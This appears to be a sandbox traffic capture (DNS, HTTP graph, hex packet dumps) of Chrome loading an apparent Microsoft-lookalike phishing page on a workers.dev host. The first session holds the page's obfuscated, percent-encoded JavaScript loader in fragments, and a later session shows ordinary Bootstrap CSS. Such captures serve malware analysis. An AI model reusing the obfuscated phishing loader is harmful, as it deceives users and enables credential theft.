Apr 24, 2024 01:33:57.153575897 CEST	1.1.1.1	192.168.2.6	0xe9c5	No error (0)	www.google.com		142.250.141.106	A (IP address)	IN (0x0001)	false
Apr 24, 2024 01:33:57.153575897 CEST	1.1.1.1	192.168.2.6	0xe9c5	No error (0)	www.google.com		142.250.141.104	A (IP address)	IN (0x0001)	false
Apr 24, 2024 01:33:57.153575897 CEST	1.1.1.1	192.168.2.6	0xe9c5	No error (0)	www.google.com		142.250.141.147	A (IP address)	IN (0x0001)	false
Apr 24, 2024 01:33:57.153575897 CEST	1.1.1.1	192.168.2.6	0xe9c5	No error (0)	www.google.com		142.250.141.103	A (IP address)	IN (0x0001)	false
Apr 24, 2024 01:33:57.154128075 CEST	1.1.1.1	192.168.2.6	0xbbcf	No error (0)	www.google.com			65	IN (0x0001)	false
Apr 24, 2024 01:33:57.260169983 CEST	1.1.1.1	192.168.2.6	0x7f89	No error (0)	ka-f.fontawesome.com	ka-f.fontawesome.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 01:33:57.260958910 CEST	1.1.1.1	192.168.2.6	0x36b4	No error (0)	api.ipify.org		104.26.13.205	A (IP address)	IN (0x0001)	false
Apr 24, 2024 01:33:57.260958910 CEST	1.1.1.1	192.168.2.6	0x36b4	No error (0)	api.ipify.org		172.67.74.152	A (IP address)	IN (0x0001)	false
Apr 24, 2024 01:33:57.260958910 CEST	1.1.1.1	192.168.2.6	0x36b4	No error (0)	api.ipify.org		104.26.12.205	A (IP address)	IN (0x0001)	false
Apr 24, 2024 01:33:57.260973930 CEST	1.1.1.1	192.168.2.6	0x72e	No error (0)	ka-f.fontawesome.com	ka-f.fontawesome.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 01:33:57.262835979 CEST	1.1.1.1	192.168.2.6	0xeebe	No error (0)	api.ipify.org			65	IN (0x0001)	false
Apr 24, 2024 01:33:58.524283886 CEST	1.1.1.1	192.168.2.6	0x45a9	No error (0)	ka-f.fontawesome.com	ka-f.fontawesome.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 01:33:58.524966002 CEST	1.1.1.1	192.168.2.6	0x2407	No error (0)	ka-f.fontawesome.com	ka-f.fontawesome.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 01:33:58.526798964 CEST	1.1.1.1	192.168.2.6	0xf179	No error (0)	api.ipify.org		104.26.13.205	A (IP address)	IN (0x0001)	false
Apr 24, 2024 01:33:58.526798964 CEST	1.1.1.1	192.168.2.6	0xf179	No error (0)	api.ipify.org		104.26.12.205	A (IP address)	IN (0x0001)	false
Apr 24, 2024 01:33:58.526798964 CEST	1.1.1.1	192.168.2.6	0xf179	No error (0)	api.ipify.org		172.67.74.152	A (IP address)	IN (0x0001)	false
Apr 24, 2024 01:33:58.527304888 CEST	1.1.1.1	192.168.2.6	0x2d73	No error (0)	api.ipify.org			65	IN (0x0001)	false
Apr 24, 2024 01:33:58.533575058 CEST	1.1.1.1	192.168.2.6	0xb711	No error (0)	shed.dual-low.part-0041.t-0009.t-msedge.net	part-0041.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 01:33:58.533575058 CEST	1.1.1.1	192.168.2.6	0xb711	No error (0)	part-0041.t-0009.t-msedge.net		13.107.246.69	A (IP address)	IN (0x0001)	false
Apr 24, 2024 01:33:58.533575058 CEST	1.1.1.1	192.168.2.6	0xb711	No error (0)	part-0041.t-0009.t-msedge.net		13.107.213.69	A (IP address)	IN (0x0001)	false
Apr 24, 2024 01:34:08.829144001 CEST	1.1.1.1	192.168.2.6	0xab5b	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 01:34:08.829144001 CEST	1.1.1.1	192.168.2.6	0xab5b	No error (0)	fp2e7a.wpc.phicdn.net		192.229.211.108	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

wmicrosouab-4ba8.udydzj.workers.dev

https:

maxcdn.bootstrapcdn.com

code.jquery.com

cdnjs.cloudflare.com

aadcdn.msauth.net

api.ipify.org

www.bing.com

fs.microsoft.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49717	104.21.86.161	443	5708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 23:33:54 UTC	678	OUT	GET / HTTP/1.1 Host: wmicrosouab-4ba8.udydzj.workers.dev Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 23:33:55 UTC	575	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 23:33:55 GMT Content-Type: text/html;charset=UTF-8 Content-Length: 116033 Connection: close Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OeUIknGZ125BmdRaNA%2FuDP0q6YNVVzWdFNZfq46EZ%2FjDzVDEMWGevV%2F5qbyhYQmYs63YUvmx1jS47sYvmFY3FtHkSfYHkjOzqshaBwbSQzfF%2FP5nlzffeiJ319i8ruMYaP8ri4Awi6Osm2RLMNtayWtu0boLNw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8791a94b59e00cdf-LAX alt-svc: h3=":443"; ma=86400
2024-04-23 23:33:55 UTC	794	IN	Data Raw: 0a 20 20 20 20 0a 20 20 20 20 0a 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 6a 61 76 61 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 75 6e 65 73 63 61 70 65 28 27 25 30 41 25 33 43 25 32 31 25 36 34 25 36 46 25 36 33 25 37 34 25 37 39 25 37 30 25 36 35 25 32 30 25 36 38 25 37 34 25 36 44 25 36 43 25 33 45 25 30 41 25 33 43 25 36 38 25 37 34 25 36 44 25 36 43 25 32 30 25 36 43 25 36 31 25 36 45 25 36 37 25 33 44 25 32 32 25 36 35 25 36 45 25 32 32 25 33 45 25 30 41 25 30 41 25 33 43 25 36 38 25 36 35 25 36 31 25 36 34 25 33 45 25 30 41 25 33 43 25 36 44 25 36 35 25 37 34 25 36 31 25 32 30 25 36 45 25 36 31 25 36 44 25 36 35 25 33 44 25 32 32 25 37 32 25 36 46 25 36 32 25 36 46 25 37 34 25 37 33 25 32 32 25 32 30 25 36 33 25 36 Data Ascii: <script language=javascript>document.write(unescape('%0A%3C%21%64%6F%63%74%79%70%65%20%68%74%6D%6C%3E%0A%3C%68%74%6D%6C%20%6C%61%6E%67%3D%22%65%6E%22%3E%0A%0A%3C%68%65%61%64%3E%0A%3C%6D%65%74%61%20%6E%61%6D%65%3D%22%72%6F%62%6F%74%73%22%20%63%6
2024-04-23 23:33:55 UTC	1369	IN	Data Raw: 36 39 25 37 30 25 37 34 25 33 45 25 30 41 25 32 30 25 32 30 25 32 30 25 32 30 25 33 43 25 37 33 25 36 33 25 37 32 25 36 39 25 37 30 25 37 34 25 32 30 25 37 33 25 37 32 25 36 33 25 33 44 25 32 32 25 36 38 25 37 34 25 37 34 25 37 30 25 37 33 25 33 41 25 32 46 25 32 46 25 36 33 25 36 46 25 36 34 25 36 35 25 32 45 25 36 41 25 37 31 25 37 35 25 36 35 25 37 32 25 37 39 25 32 45 25 36 33 25 36 46 25 36 44 25 32 46 25 36 41 25 37 31 25 37 35 25 36 35 25 37 32 25 37 39 25 32 44 25 33 33 25 32 45 25 33 33 25 32 45 25 33 31 25 32 45 25 36 41 25 37 33 25 32 32 25 32 30 25 36 39 25 36 45 25 37 34 25 36 35 25 36 37 25 37 32 25 36 39 25 37 34 25 37 39 25 33 44 25 32 32 25 37 33 25 36 38 25 36 31 25 33 32 25 33 35 25 33 36 25 32 44 25 33 32 25 34 42 25 36 46 25 36 42 25 Data Ascii: 69%70%74%3E%0A%20%20%20%20%3C%73%63%72%69%70%74%20%73%72%63%3D%22%68%74%74%70%73%3A%2F%2F%63%6F%64%65%2E%6A%71%75%65%72%79%2E%63%6F%6D%2F%6A%71%75%65%72%79%2D%33%2E%33%2E%31%2E%6A%73%22%20%69%6E%74%65%67%72%69%74%79%3D%22%73%68%61%32%35%36%2D%32%4B%6F%6B%
2024-04-23 23:33:55 UTC	1369	IN	Data Raw: 33 25 33 38 25 33 34 25 32 44 25 34 37 25 36 45 25 33 35 25 33 33 25 33 38 25 33 34 25 37 38 25 37 31 25 35 31 25 33 31 25 36 31 25 36 46 25 35 37 25 35 38 25 34 31 25 32 42 25 33 30 25 33 35 25 33 38 25 35 32 25 35 38 25 35 30 25 37 38 25 35 30 25 36 37 25 33 36 25 36 36 25 37 39 25 33 34 25 34 39 25 35 37 25 37 36 25 35 34 25 34 45 25 36 38 25 33 30 25 34 35 25 33 32 25 33 36 25 33 33 25 35 38 25 36 44 25 34 36 25 36 33 25 34 41 25 36 43 25 35 33 25 34 31 25 37 37 25 36 39 25 34 37 25 36 37 25 34 36 25 34 31 25 35 37 25 32 46 25 36 34 25 34 31 25 36 39 25 35 33 25 33 36 25 34 41 25 35 38 25 36 44 25 32 32 25 32 30 25 36 33 25 37 32 25 36 46 25 37 33 25 37 33 25 36 46 25 37 32 25 36 39 25 36 37 25 36 39 25 36 45 25 33 44 25 32 32 25 36 31 25 36 45 25 36 Data Ascii: 3%38%34%2D%47%6E%35%33%38%34%78%71%51%31%61%6F%57%58%41%2B%30%35%38%52%58%50%78%50%67%36%66%79%34%49%57%76%54%4E%68%30%45%32%36%33%58%6D%46%63%4A%6C%53%41%77%69%47%67%46%41%57%2F%64%41%69%53%36%4A%58%6D%22%20%63%72%6F%73%73%6F%72%69%67%69%6E%3D%22%61%6E%6
2024-04-23 23:33:55 UTC	1369	IN	Data Raw: 25 30 41 25 32 30 25 32 30 25 32 30 25 32 30 25 33 43 25 32 31 25 32 44 25 32 44 25 32 30 25 33 43 25 36 43 25 36 39 25 36 45 25 36 42 25 32 30 25 36 38 25 37 32 25 36 35 25 36 36 25 33 44 25 32 32 25 36 33 25 37 33 25 37 33 25 32 46 25 36 38 25 36 46 25 37 36 25 36 35 25 37 32 25 32 45 25 36 33 25 37 33 25 37 33 25 32 32 25 32 30 25 37 32 25 36 35 25 36 43 25 33 44 25 32 32 25 37 33 25 37 34 25 37 39 25 36 43 25 36 35 25 37 33 25 36 38 25 36 35 25 36 35 25 37 34 25 32 32 25 32 30 25 36 44 25 36 35 25 36 34 25 36 39 25 36 31 25 33 44 25 32 32 25 36 31 25 36 43 25 36 43 25 32 32 25 33 45 25 32 30 25 32 44 25 32 44 25 33 45 25 30 41 25 32 30 25 32 30 25 32 30 25 32 30 25 30 41 25 30 39 25 33 43 25 37 33 25 37 34 25 37 39 25 36 43 25 36 35 25 32 30 25 37 34 Data Ascii: %0A%20%20%20%20%3C%21%2D%2D%20%3C%6C%69%6E%6B%20%68%72%65%66%3D%22%63%73%73%2F%68%6F%76%65%72%2E%63%73%73%22%20%72%65%6C%3D%22%73%74%79%6C%65%73%68%65%65%74%22%20%6D%65%64%69%61%3D%22%61%6C%6C%22%3E%20%2D%2D%3E%0A%20%20%20%20%0A%09%3C%73%74%79%6C%65%20%74
2024-04-23 23:33:55 UTC	1369	IN	Data Raw: 32 44 25 37 33 25 36 38 25 36 31 25 36 34 25 36 46 25 37 37 25 33 41 25 32 30 25 33 30 25 32 30 25 33 32 25 37 30 25 37 38 25 32 30 25 33 33 25 37 30 25 37 38 25 32 30 25 37 32 25 36 37 25 36 32 25 36 31 25 32 38 25 33 30 25 32 43 25 32 30 25 33 30 25 32 43 25 32 30 25 33 30 25 32 43 25 32 30 25 33 30 25 32 45 25 33 33 25 33 32 25 32 39 25 33 42 25 30 41 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 36 32 25 36 46 25 37 32 25 36 34 25 36 35 25 37 32 25 33 41 25 32 30 25 33 30 25 37 30 25 37 38 25 32 30 25 37 33 25 36 46 25 36 43 25 36 39 25 36 34 25 32 30 25 37 32 25 36 37 25 36 32 25 36 31 25 32 38 25 33 30 25 32 43 25 32 30 25 33 30 25 32 43 25 32 30 25 33 30 25 32 43 25 32 30 25 33 30 25 32 45 25 33 34 25 32 39 25 33 42 25 Data Ascii: 2D%73%68%61%64%6F%77%3A%20%30%20%32%70%78%20%33%70%78%20%72%67%62%61%28%30%2C%20%30%2C%20%30%2C%20%30%2E%33%32%29%3B%0A%20%20%20%20%20%20%20%20%62%6F%72%64%65%72%3A%20%30%70%78%20%73%6F%6C%69%64%20%72%67%62%61%28%30%2C%20%30%2C%20%30%2C%20%30%2E%34%29%3B%
2024-04-23 23:33:55 UTC	1369	IN	Data Raw: 32 25 33 41 25 32 30 25 36 32 25 36 46 25 37 34 25 36 38 25 33 42 25 30 41 25 30 41 25 30 41 25 32 30 25 32 30 25 32 30 25 32 30 25 37 44 25 30 41 25 30 41 25 32 30 25 32 30 25 32 30 25 32 30 25 32 46 25 32 41 25 32 45 25 36 36 25 36 46 25 36 46 25 37 34 25 36 35 25 37 32 25 34 45 25 36 46 25 36 34 25 36 35 25 32 30 25 37 33 25 37 30 25 36 31 25 36 45 25 32 30 25 37 42 25 30 41 25 32 30 25 32 30 25 32 30 25 32 30 25 36 33 25 36 46 25 36 43 25 36 46 25 37 32 25 33 41 25 32 30 25 32 33 25 36 36 25 36 36 25 36 36 25 33 42 25 30 41 25 32 30 25 32 30 25 32 30 25 32 30 25 36 36 25 36 46 25 36 45 25 37 34 25 32 44 25 37 33 25 36 39 25 37 41 25 36 35 25 33 41 25 32 30 25 33 30 25 32 45 25 33 37 25 33 35 25 37 32 25 36 35 25 36 44 25 33 42 25 30 41 25 32 30 25 32 Data Ascii: 2%3A%20%62%6F%74%68%3B%0A%0A%0A%20%20%20%20%7D%0A%0A%20%20%20%20%2F%2A%2E%66%6F%6F%74%65%72%4E%6F%64%65%20%73%70%61%6E%20%7B%0A%20%20%20%20%63%6F%6C%6F%72%3A%20%23%66%66%66%3B%0A%20%20%20%20%66%6F%6E%74%2D%73%69%7A%65%3A%20%30%2E%37%35%72%65%6D%3B%0A%20%2
2024-04-23 23:33:55 UTC	1369	IN	Data Raw: 25 37 30 25 37 38 25 33 42 25 30 41 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 36 44 25 36 31 25 37 32 25 36 37 25 36 39 25 36 45 25 32 44 25 37 32 25 36 39 25 36 37 25 36 38 25 37 34 25 33 41 25 32 30 25 33 38 25 37 30 25 37 38 25 33 42 25 30 41 25 32 30 25 32 30 25 32 30 25 32 30 25 37 44 25 30 41 25 30 41 25 32 30 25 32 30 25 32 30 25 32 30 25 34 30 25 36 44 25 36 35 25 36 34 25 36 39 25 36 31 25 32 30 25 36 46 25 36 45 25 36 43 25 37 39 25 32 30 25 37 33 25 36 33 25 37 32 25 36 35 25 36 35 25 36 45 25 32 30 25 36 31 25 36 45 25 36 34 25 32 30 25 32 38 25 36 44 25 36 31 25 37 38 25 32 44 25 37 37 25 36 39 25 36 34 25 37 34 25 36 38 25 33 41 25 32 30 25 33 36 25 33 31 25 33 30 25 37 30 25 37 38 25 32 39 25 32 30 25 37 42 Data Ascii: %70%78%3B%0A%20%20%20%20%20%20%20%20%6D%61%72%67%69%6E%2D%72%69%67%68%74%3A%20%38%70%78%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20%40%6D%65%64%69%61%20%6F%6E%6C%79%20%73%63%72%65%65%6E%20%61%6E%64%20%28%6D%61%78%2D%77%69%64%74%68%3A%20%36%31%30%70%78%29%20%7B
2024-04-23 23:33:55 UTC	1369	IN	Data Raw: 34 31 25 33 38 25 35 30 25 33 33 25 36 38 25 37 37 25 35 39 25 35 37 25 34 45 25 37 32 25 35 41 25 35 38 25 35 31 25 36 37 25 35 39 25 36 44 25 35 36 25 36 45 25 36 31 25 35 37 25 33 34 25 33 39 25 34 39 25 37 35 25 32 42 25 33 37 25 37 36 25 37 39 25 34 39 25 36 37 25 36 31 25 35 37 25 35 31 25 33 39 25 34 39 25 36 43 25 36 33 25 33 31 25 35 34 25 35 34 25 34 32 25 34 45 25 36 33 25 34 35 25 34 45 25 36 43 25 36 31 25 34 37 25 36 43 25 34 39 25 36 35 25 36 45 25 34 41 25 36 43 25 35 35 25 33 33 25 37 30 25 34 46 25 35 36 25 34 37 25 34 45 25 33 36 25 36 31 25 33 32 25 34 44 25 33 35 25 35 41 25 34 33 25 34 39 25 32 46 25 35 30 25 36 39 25 34 31 25 33 38 25 36 35 25 34 34 25 37 30 25 33 34 25 36 32 25 35 38 25 34 32 25 37 34 25 35 41 25 35 38 25 35 32 25 Data Ascii: 41%38%50%33%68%77%59%57%4E%72%5A%58%51%67%59%6D%56%6E%61%57%34%39%49%75%2B%37%76%79%49%67%61%57%51%39%49%6C%63%31%54%54%42%4E%63%45%4E%6C%61%47%6C%49%65%6E%4A%6C%55%33%70%4F%56%47%4E%36%61%32%4D%35%5A%43%49%2F%50%69%41%38%65%44%70%34%62%58%42%74%5A%58%52%
2024-04-23 23:33:55 UTC	1369	IN	Data Raw: 31 25 36 37 25 34 39 25 34 33 25 34 31 25 36 37 25 34 39 25 34 33 25 34 31 25 36 37 25 34 39 25 34 33 25 34 31 25 36 37 25 34 39 25 34 33 25 34 31 25 36 37 25 34 39 25 34 33 25 34 31 25 36 37 25 34 39 25 34 33 25 34 31 25 36 37 25 34 39 25 34 33 25 34 31 25 36 37 25 34 39 25 34 33 25 34 31 25 36 37 25 34 39 25 34 33 25 34 31 25 36 37 25 34 39 25 34 33 25 34 31 25 36 37 25 34 39 25 34 33 25 34 31 25 36 37 25 34 39 25 34 33 25 34 31 25 36 37 25 34 39 25 34 33 25 34 31 25 36 37 25 34 39 25 34 33 25 34 31 25 36 37 25 34 39 25 34 33 25 34 31 25 36 37 25 34 39 25 34 33 25 34 31 25 36 37 25 34 39 25 34 33 25 34 31 25 36 37 25 34 39 25 34 33 25 34 31 25 36 37 25 34 39 25 34 33 25 34 31 25 36 37 25 34 39 25 34 33 25 34 31 25 36 37 25 34 39 25 34 33 25 34 31 25 36 Data Ascii: 1%67%49%43%41%67%49%43%41%67%49%43%41%67%49%43%41%67%49%43%41%67%49%43%41%67%49%43%41%67%49%43%41%67%49%43%41%67%49%43%41%67%49%43%41%67%49%43%41%67%49%43%41%67%49%43%41%67%49%43%41%67%49%43%41%67%49%43%41%67%49%43%41%67%49%43%41%67%49%43%41%67%49%43%41%6
2024-04-23 23:33:55 UTC	1369	IN	Data Raw: 25 36 37 25 34 39 25 34 33 25 34 31 25 36 37 25 34 39 25 34 33 25 34 31 25 36 37 25 34 39 25 34 33 25 34 31 25 36 37 25 34 39 25 34 33 25 34 31 25 36 37 25 34 39 25 34 33 25 34 31 25 36 37 25 34 39 25 34 33 25 34 31 25 36 37 25 34 39 25 34 33 25 34 31 25 36 37 25 34 39 25 34 33 25 34 31 25 36 37 25 34 39 25 34 33 25 34 31 25 36 37 25 34 39 25 34 33 25 34 31 25 36 37 25 34 39 25 34 33 25 34 31 25 36 37 25 34 39 25 34 33 25 34 31 25 36 37 25 34 39 25 34 33 25 34 31 25 36 37 25 34 39 25 34 33 25 34 31 25 36 37 25 34 39 25 34 33 25 34 31 25 36 37 25 34 39 25 34 33 25 34 31 25 36 37 25 34 39 25 34 33 25 34 31 25 36 37 25 34 39 25 34 33 25 34 31 25 36 37 25 34 39 25 34 33 25 34 31 25 36 37 25 34 39 25 34 33 25 34 31 25 36 37 25 34 39 25 34 33 25 34 31 25 36 37 Data Ascii: %67%49%43%41%67%49%43%41%67%49%43%41%67%49%43%41%67%49%43%41%67%49%43%41%67%49%43%41%67%49%43%41%67%49%43%41%67%49%43%41%67%49%43%41%67%49%43%41%67%49%43%41%67%49%43%41%67%49%43%41%67%49%43%41%67%49%43%41%67%49%43%41%67%49%43%41%67%49%43%41%67%49%43%41%67

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49723	104.18.10.207	443	5708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 23:33:55 UTC	643	OUT	GET /bootstrap/4.0.0/css/bootstrap.min.css HTTP/1.1 Host: maxcdn.bootstrapcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://wmicrosouab-4ba8.udydzj.workers.dev sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: style Referer: https://wmicrosouab-4ba8.udydzj.workers.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 23:33:56 UTC	918	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 23:33:56 GMT Content-Type: text/css; charset=utf-8 Transfer-Encoding: chunked Connection: close CDN-PullZone: 252412 CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74 CDN-RequestCountryCode: US Vary: Accept-Encoding Access-Control-Allow-Origin: * Cache-Control: public, max-age=31919000 ETag: W/"450fc463b8b1a349df717056fbb3e078" Last-Modified: Mon, 25 Jan 2021 22:04:04 GMT CDN-CachedAt: 03/18/2024 12:41:08 CDN-ProxyVer: 1.04 CDN-RequestPullCode: 200 CDN-RequestPullSuccess: True CDN-EdgeStorageId: 994 timing-allow-origin: * cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff CDN-Status: 200 CDN-RequestId: 3ea8876ce7bf0c0f7d79b4a4caf2ee0a CDN-Cache: HIT CF-Cache-Status: HIT Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 8791a951ad7d0a01-LAS alt-svc: h3=":443"; ma=86400
2024-04-23 23:33:56 UTC	451	IN	Data Raw: 37 63 31 64 0d 0a 2f 2a 21 0a 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 30 2e 30 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 29 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 77 69 74 74 65 72 2c 20 49 6e 63 2e 0a 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 2a 2f 3a 72 6f 6f 74 7b 2d 2d 62 6c 75 65 3a 23 30 30 37 62 66 66 3b 2d 2d 69 6e 64 69 67 6f 3a 23 36 36 31 30 Data Ascii: 7c1d/! Bootstrap v4.0.0 (https://getbootstrap.com) * Copyright 2011-2018 The Bootstrap Authors * Copyright 2011-2018 Twitter, Inc. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */:root{--blue:#007bff;--indigo:#6610
2024-04-23 23:33:56 UTC	1369	IN	Data Raw: 2d 73 65 63 6f 6e 64 61 72 79 3a 23 36 63 37 35 37 64 3b 2d 2d 73 75 63 63 65 73 73 3a 23 32 38 61 37 34 35 3b 2d 2d 69 6e 66 6f 3a 23 31 37 61 32 62 38 3b 2d 2d 77 61 72 6e 69 6e 67 3a 23 66 66 63 31 30 37 3b 2d 2d 64 61 6e 67 65 72 3a 23 64 63 33 35 34 35 3b 2d 2d 6c 69 67 68 74 3a 23 66 38 66 39 66 61 3b 2d 2d 64 61 72 6b 3a 23 33 34 33 61 34 30 3b 2d 2d 62 72 65 61 6b 70 6f 69 6e 74 2d 78 73 3a 30 3b 2d 2d 62 72 65 61 6b 70 6f 69 6e 74 2d 73 6d 3a 35 37 36 70 78 3b 2d 2d 62 72 65 61 6b 70 6f 69 6e 74 2d 6d 64 3a 37 36 38 70 78 3b 2d 2d 62 72 65 61 6b 70 6f 69 6e 74 2d 6c 67 3a 39 39 32 70 78 3b 2d 2d 62 72 65 61 6b 70 6f 69 6e 74 2d 78 6c 3a 31 32 30 30 70 78 3b 2d 2d 66 6f 6e 74 2d 66 61 6d 69 6c 79 2d 73 61 6e 73 2d 73 65 72 69 66 3a 2d 61 70 70 6c Data Ascii: -secondary:#6c757d;--success:#28a745;--info:#17a2b8;--warning:#ffc107;--danger:#dc3545;--light:#f8f9fa;--dark:#343a40;--breakpoint-xs:0;--breakpoint-sm:576px;--breakpoint-md:768px;--breakpoint-lg:992px;--breakpoint-xl:1200px;--font-family-sans-serif:-appl
2024-04-23 23:33:56 UTC	1369	IN	Data Raw: 20 64 6f 74 74 65 64 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 20 64 6f 74 74 65 64 3b 63 75 72 73 6f 72 3a 68 65 6c 70 3b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 30 7d 61 64 64 72 65 73 73 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 72 65 6d 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 69 6e 68 65 72 69 74 7d 64 6c 2c 6f 6c 2c 75 6c 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 72 65 6d 7d 6f 6c 20 6f 6c 2c 6f 6c 20 75 6c 2c 75 6c 20 6f 6c 2c 75 6c 20 75 6c 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 7d 64 74 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 37 30 30 7d 64 64 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 2e 35 72 65 Data Ascii: dotted;text-decoration:underline dotted;cursor:help;border-bottom:0}address{margin-bottom:1rem;font-style:normal;line-height:inherit}dl,ol,ul{margin-top:0;margin-bottom:1rem}ol ol,ol ul,ul ol,ul ul{margin-bottom:0}dt{font-weight:700}dd{margin-bottom:.5re
2024-04-23 23:33:56 UTC	1369	IN	Data Raw: 63 75 73 2d 72 69 6e 67 2d 63 6f 6c 6f 72 7d 62 75 74 74 6f 6e 2c 69 6e 70 75 74 2c 6f 70 74 67 72 6f 75 70 2c 73 65 6c 65 63 74 2c 74 65 78 74 61 72 65 61 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 69 6e 68 65 72 69 74 3b 66 6f 6e 74 2d 73 69 7a 65 3a 69 6e 68 65 72 69 74 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 69 6e 68 65 72 69 74 7d 62 75 74 74 6f 6e 2c 69 6e 70 75 74 7b 6f 76 65 72 66 6c 6f 77 3a 76 69 73 69 62 6c 65 7d 62 75 74 74 6f 6e 2c 73 65 6c 65 63 74 7b 74 65 78 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 6e 6f 6e 65 7d 5b 74 79 70 65 3d 72 65 73 65 74 5d 2c 5b 74 79 70 65 3d 73 75 62 6d 69 74 5d 2c 62 75 74 74 6f 6e 2c 68 74 6d 6c 20 5b 74 79 70 65 3d 62 75 74 74 6f 6e 5d 7b 2d 77 65 62 6b 69 74 2d 61 70 70 65 61 72 61 6e 63 65 Data Ascii: cus-ring-color}button,input,optgroup,select,textarea{margin:0;font-family:inherit;font-size:inherit;line-height:inherit}button,input{overflow:visible}button,select{text-transform:none}[type=reset],[type=submit],button,html [type=button]{-webkit-appearance
